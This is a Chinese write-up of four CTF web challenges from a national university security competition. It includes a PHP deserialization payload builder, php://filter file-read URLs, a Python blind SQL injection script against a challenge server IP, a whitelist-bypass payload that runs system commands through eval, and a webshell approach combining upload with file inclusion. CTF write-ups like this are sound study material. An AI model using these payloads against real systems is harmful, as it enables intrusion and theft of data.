第12届全国大学生信息安全竞赛线上初赛Web场景 Write Up

Web安全

  • 题目
    • JustSoso
    • 全宇宙最简单的SQL
    • love_math
    • RefSpace

题目

赛题类型主要包括:逆向、漏洞挖掘与利用、Web 渗透、密码、隐写、安全编程等类别,考察参赛者不同维度的网络安全理论、技术水平。
第12届全国大学生信息安全竞赛线上初赛Web场景 Write Up_第1张图片

JustSoso

知识点:任意文件读取,PHP 反序列化

根据 html注释 结合 php伪协议 ,可以读取出 index.php 和 hint.php 的源代码。

http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=hint.php

php伪协议

首先我们先了解一下我们在CTF中可能遇到的文件包含函数:

1、include 2、require 3、include_once 4、require_once 5、highlight_file 6、show_source 7、readfile 8、file_get_contents 9、fopen 10、file(比较常见)

PHP伪协议事实上就是支持的协议与封装协议(12种)

  1. file:// — 访问本地文件系统

  2. http:// — 访问 HTTP(s) 网址

  3. ftp:// — 访问 FTP(s) URLs

  4. php:// — 访问各个输入/输出流(I/O streams)

  5. zlib:// — 压缩流

  6. data:// — 数据(RFC 2397)

  7. glob:// — 查找匹配的文件路径模式

  8. phar:// — PHP 归档

  9. ssh2:// — Secure Shell 2

  10. rar:// — RAR

  11. ogg:// — 音频流

  12. expect:// — 处理交互式的流


(php伪协议来源地址:https://www.php.cn/php-ask-430458.html)

index.php中会反序列化 $_GET[“payload”] ,且 parse_url 函数处理后不能包含 flag 字符串,用 /// 即可绕过 parse_url 函数,具体可参考 http://www.am0s.com/functions/406.html

PHP通过string serialize ( mixed $value )和mixed unserialize ( string $str )两个函数实现序列化和反序列化。

PHP反序列化漏洞又称PHP对象注入,是因为程序对输入数据处理不当导致的。

hint.php中的对象在反序列化的时候,会先调用 __wakeup 绕过方法,其会把对象的所有属性置 null ,猜测考察的知识点是绕过 PHP反序列化 的一个 bug 。

DEMO如下:
第12届全国大学生信息安全竞赛线上初赛Web场景 Write Up_第2张图片
第12届全国大学生信息安全竞赛线上初赛Web场景 Write Up_第3张图片
构造Payload的例子,需反序列化的对象为:

O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}

O:5:”SoFun” 指的是 类:5个字符:SoFun

:2: 指的是 有两个对象

S:7:”\00*\00file” 指的是有个属性,有7个字符,名为\00*\00file

s:8:”flag.php” 指的是属性值,有8个字符,值为flag.php

值得注意的是,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值。第12届全国大学生信息安全竞赛线上初赛Web场景 Write Up_第4张图片

index.php 有 file 和 payload 两个参数,先 include 了 file 所指向的文件,再经过一系列的检测之后 反序列化 payload。

hint.php 有两个类 Handle 和 Flag。 对于 Handle 类,它的魔术方法 Weakup 会清空其自身的成员变量,将其都置为 null。而其析构函数则会调用自身成员变量 handle 的 getFlag 方法。而 Flag 类就有这个 getFlag 方法了,其中会随机一个 md5(1~10000随机数) 的 flag_token,和自身的 token 做比较,相等就去读文件。看起来我们可以用这里来读 flag.php 文件了。

最后获取 flag 的地方,需要 $this->token === $this->token_flag ,而 $this->token_flag 在每次调用 getFlag 函数都会重新生成,这时候我们便可以用引用变量来解决这个问题。最终 payload 如下:

  
class Handle{ 
    private $handle;  
    public function __construct($handle) { 
        $this->handle = $handle; 
    } 
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
 
    function __construct($file){
        $this->file = $file;
        $this->token = &$this->token_flag;
    }
    
    public function getFlag(){
        // $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true); 
            }  
        }
    }
}

$flag = new Flag('flag.php');
$handle = new Handle($flag);

echo urlencode(str_replace('O:6:"Handle":1', 'O:6:"Handle":10', serialize($handle)));
?>

最后访问 http://xxx///index.php?file=hint.php&payload=上面生成的payload 即可得到flag。

全宇宙最简单的SQL

知识点:布尔型盲注,Waf Bypass,MySQL 客户端任意文件读取

WAF会将某些字符替换,经过测试(抓包,不断fuzz)发现主要观察到以下几个现象:username 有注入点,过滤了 |、or、sleep、if、benchmark、case 等字符。

返回信息有两种:

SQL语法正确的话,如果账号密码不对,会显示 登陆失败 。例如: username=admin&password=admin
SQL语法不正确的话,会显示 数据库操作失败 。例如: username=admin’&password=admin

那么我们可以利用逻辑运算符和溢出报错来进行注入,例如这里我们用 pow(9999,100) ,这个表达式的值在 MYSQL 中已经超出 double 范围,会溢出。如下图,当我们盲注语句结果为真时,就会执行到溢出语句,返回结果为 数据库操作失败 ;当我们盲注语句结果为假时,由于 and短路运算 ,根本不会执行到溢出语句,所以返回结果为 登陆失败
第12届全国大学生信息安全竞赛线上初赛Web场景 Write Up_第5张图片

盲注是sql注入的一种,不会根据sql注入的攻击语句返回你想要知道的错误信息。盲注分为两类:
1.布尔盲注 布尔很明显Ture跟False,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

通过这种注入方式,我们可以得到以下信息:

库名:ctf
用户:ctt123

但是无法注出表名和列名,因为 or 被过滤了, information_schema 就不能用了。
不过我们可以通过语句:admin’^1+and+substr((select+username+from+user+limit+1),1,1)=’a’+and+pow(9999,100)%23
判断出其存在 user 表和 username 列,再根据题目的界面显示的内容,猜测其可能还存在 password 列。但是 password 又包含 or 关键字

如何在不知道 MySQL 列名的情况下注入出数据。 https://xz.aliyun.com/t/4105

最终可以用这个技巧注出 admin 用户的密码: f1ag@1s-at_/fll1llag_h3r3 ,注入脚本如下:

import requests,re

url = "http://39.97.167.120:52105"
admin_pass = ''
charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$%&\'()*+,-./:;<=>?@[\\]^_`}{~#'
for i in range(1,100):
    for char in charset:
        if char == '#':
            # print('#')
            # print(admin_pass)
            exit()
        datas = {
            'username' : "admin'^1 and substr((select `2` from (select 1,2 union select * from user)a limit 1,1),%d,1)='%s' and pow(9999,100)#" % (i,char),
            'password' : 'admin'
        }
        r = requests.post(url=url,data = datas)
        r.encoding = r.apparent_encoding
        if '数据库操作失败' in r.text:
            # print(char)
            admin_pass += char
            print(admin_pass)
            break

但是仍然还是无法登录,看密码的含义,应该要读取 /fll1llag_h3r3 文件。但是用了 Mysql 中的读取函数,发现并不行,于是又想到脚本直接比较的是字符,可能存在大小写问题。后来用ASCII值来判断,跑出来的结果是: F1AG@1s-at_/fll1llag_h3r3 。再次登录,发现多了远程连接 Mysql 的功能。

第12届全国大学生信息安全竞赛线上初赛Web场景 Write Up_第6张图片

love_math

知识点:命令注入与条件利用

打开网页发现是一个计算器,输入信息提交,抓包,可以看到是直接提交给 calc.php 的,那么就访问这个文件看看

calc.php源码如下:

 
error_reporting(0); 
//听说你很喜欢数学,不知道你是否爱它胜过爱flag 
if(!isset($_GET['c'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['c']; 
    if (strlen($content) >= 80) { 
        die("太长了不会算"); 
    } 
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("请不要输入奇奇怪怪的字符"); 
        } 
    } 
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("请不要输入奇奇怪怪的函数"); 
        } 
    } 
    //帮你算出答案 
    eval('echo '.$content.';'); 
}

可以看到 $content 会经过黑白名单校验且长度不能大于等于80,通过校验的 $content 最终会在 eval 函数中执行。

黑白名单的具体实现 ,如果是黑名单就直接跳向错误提示页面,如果是白名单直接验证通过。

这里只能用 $whitelist 中的函数。在查阅 base_convert 函数时,发现其可以进行2~36进制之间的转换,超过9的部分用字母a-z表示,即可表示的字符范围是:0-9a-z。

转换工具:http://www.atool9.com/hexconvert.php

下面我们就可以构造最简单的 phpinfo : base_convert(55490343972,10,36)()

phpinfo()?>phpinfo是PHP自带的一个函数,用来检测PHP各种环境的。phpinfo函数可以显示出PHP所有相关信息。是排查配置php是是否出错或漏配置模块的主要方式之一。

➜ Desktop php -a

php > echo base_convert('phpinfo',36,10);
55490343972

第12届全国大学生信息安全竞赛线上初赛Web场景 Write Up_第7张图片

执行 system(‘ls’) :base_convert(1751504350,10,36)(base_convert(784,10,36))

➜ Desktop php -a

php > echo base_convert('system',36,10);
1751504350
php > echo base_convert('ls',36,10);
784
php > echo strlen('base_convert(1751504350,10,36)(base_convert(784,10,36))');
55

第12届全国大学生信息安全竞赛Web题解

由于不能引入0-9a-z以外的字符,所以这里又通过构造 hex2bin 来执行命令。

hex2bin()函数是用来把十六进制值的字符串转换为ASCII字符,并返回转换后的ASCII字符,如果转换失败则返回FALSE,原十六进制值的字符串不会发生改变,

➜ Desktop php -a

php > echo base_convert('exec',36,10);
696468
php > echo base_convert('hex2bin',36,10);
37907361743
php > echo hexdec(bin2hex('ls *'));
1819484202
php > echo strlen('base_convert(696468,10,36)(base_convert(37907361743,10,36)(dechex(1819484202)))');
79

第12届全国大学生信息安全竞赛Web题解

exec— 执行一个外部程序说明

但是用 exec 有个问题,就是只会显示返回结果的最后一行,这样就没办法看到 flag ,强行构造就超出80字符的限制了。应该要通过其他参数引入的方式,打破字符长度限制,开始构造 $_GET 。

➜ Desktop php -a

php > echo base_convert('hex2bin',36,10);
37907361743
php > echo hexdec(bin2hex('_GET'));
1598506324

payload:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})π=system&abs=tac flag.php
相当于:
$pi=_GET;($_GET[pi])($_GET[abs])

我们将要执行的函数和参数通过其他参数引入,这里变量名和函数名必须在白名单中。这里有用到一个trick,就是使用 {} 来代替 [] 进行数组索引。

第12届全国大学生信息安全竞赛Web题解

RefSpace

通过 php伪协议 可以获得部分源码,整理可得题目环境中的文件结构如下:

➜ html tree
.
├── app
│ ├── flag.php
│ ├── index.php
│ └── Up10aD.php
├── backup.zip
├── flag.txt
├── index.php
├── robots.txt
└── upload

2 directories, 7 files

访问 /?route=php://filter/convert.base64encode/resource=app/index,能读源码,base64 解码下,拿到 index.php 的源码如下:


if (!defined('LFI')) {
    echo "Include me!";
    exit();
}
?>
<html>

<head>
    <meta charset="UTF-8">
</head>

<body>
    Hi CTFer,<br />
    这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!---->提供flag<br />
    Powered by Aoisystem<br />
    <!-- error_reporting(E_ALL); -->    
</body>

</html>

尝试其他文件,比如 flag?/?route=app/flag
flag.php 的源码:


if (!defined('LFI')) {
    echo "Include me!";
    exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!$key) {
    echo "Please provide access key
"
; echo '$_GET["key"];'; exit(); } $flag = $sdk->verify($key); if ($flag) { echo $flag; } else { echo "Wrong Key"; exit(); } //Do you want to know more about this SDK? //we 'accidentally' save a backup.zip for more information

提示有个 backup.zip,backup.zip/sdk开发文档.txt 中的 return “too{young-too-simple}” 只是个例子,其真正的语句类似 return openssl_decrypt(file_get_contents(‘flag路径’), ‘加密算法’, $key) 。

我们的SDK通过如下SHA1算法验证key是否正确:

public function verify($key)
{
    if (sha1($key) === $this->getHash()) {
        return "too{young-too-simple}";
    }
    return false;
}

如果正确的话,我们的SDK会返回flag。

PS: 为了节省各位大佬的时间,特注明
	1.此处函数return值并不是真正的flag,和真正的flag没有关系。
	2.此处调用的sha1函数为PHP语言内建的hash函数。(http://php.net/manual/zh/function.sha1.php)
	3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。
	4.几乎大部分源码内都有一定的hint,如果您是通过扫描目录发现本文件的,您可能还有很长的路要走。

再来看看敏感文件,robots.txt 有内容,打开看看/?route=app/Up10aD。获取app/Up10aD.php 的源码:


if (!defined('LFI')) {
    echo "Include me!";
    exit();
}

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        default:
            echo "Only gif/jpg allowed";
            exit();
    }
    $dst = "upload/" . $_FILES["file"]["name"] . $fileext;
    move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
    echo "文件保存位置: {$dst}
"
; } ?> <html> <head> <meta charset="UTF-8"> </head> <body> 我们不能让选手轻而易举的搜索到上传接口。<br /> 即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪 <form method="post" enctype="multipart/form-data"> <label for="file">来选择你的文件吧:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>

可以看到 index.php 中存在任意文件包含,但是限制了文件名后缀只能是 .php ,而 app/Up10aD.php 文件中存在上传功能,刚好可以配合前面的文件包含进行 getshell 。

具体可以参考: zip或phar协议包含文件 。

getshell通常是指获取webshell权限等这些。webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。

shell就是一个脚本文件,通过这个脚本文件来管理或者控制服务器的文件、数据库等信息,getshell将脚本文件上传到服务器,并让服务器解析。脚本文件可以是asp、php、jsp等。

getshell之后,只在服务器 上发现了加密后的flag.txt。
在 app/flag.php 开头添加上如下代码,访问时 $key 值随便填。

namespace interesting;
function sha1($var) { // 调用类的私有、保护方法
    $class = new \ReflectionClass('interesting\FlagSDK');
    $method = $class->getMethod('getHash');
    $method->setAccessible(true);
    $instance = $class->newInstance();
    return $method->invoke($instance);
}

其原理就是通过命名空间( 在PHP中函数、类、常量是不允许同名的),定义一个同名函数 sha1 ,在代码调用时,会优先调用本命名空间中的同名函数。绕过 sha1 的比较拿到flag。

(注明:部分转载于https://www.zhaoj.in/read-5417.html,https://www.codercto.com/a/70556.html)

你可能感兴趣的:(CTF,php,安全,数据库)